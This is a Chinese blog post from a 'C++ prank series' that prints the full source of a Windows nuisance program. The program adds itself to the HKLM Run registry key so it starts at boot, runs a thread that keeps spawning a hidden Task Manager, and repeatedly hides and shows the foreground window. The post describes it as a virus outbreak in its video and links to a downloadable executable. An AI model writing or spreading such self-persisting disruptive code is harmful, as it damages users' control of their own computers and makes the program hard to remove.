C++恶搞系列 (一)
#include<windows.h>
#include<thread>
using namespace std;
//创建一个thread线程
void thread_fun()
{
HWND hwnd;
while(1)
{
//检测任务管理器是否打开
hwnd = FindWindow(NULL,"Windows 任务管理器");
if(hwnd==NULL)ShellExecute(NULL, "open", "taskmgr.exe", NULL, NULL, SW_HIDE);
}
}
int main(int argc, char* argv[])
{
//创建线程
thread t(thread_fun);
t.detach();
MessageBox(NULL,"你过来呀!","关不掉的窗口",MB_OK);
//开机自动启动
HKEY hKey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)
{
RegSetValueEx(hKey,"",0,REG_SZ,(BYTE*)argv[0],strlen(argv[0]));
RegCloseKey(hKey);
}
//弹出窗口
while(1)
{
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd,SW_SHOW);
Sleep(1000);
ShowWindow(hwnd,SW_HIDE);
Sleep(1000);
}
return 0;
}
附上视频:
病毒发作
感谢:月明星稀提供的虚拟机
下一篇:C++恶搞系列 (二)https://blog.csdn.net/qq_59682549/article/details/125708106?spm=1001.2014.3001.5501
可执行文件https://download.csdn.net/download/qq_59682549/85114416
本文来自博客园,作者:I'm_江河湖海,转载请注明原文链接:https://www.cnblogs.com/jhhh/p/16760637.html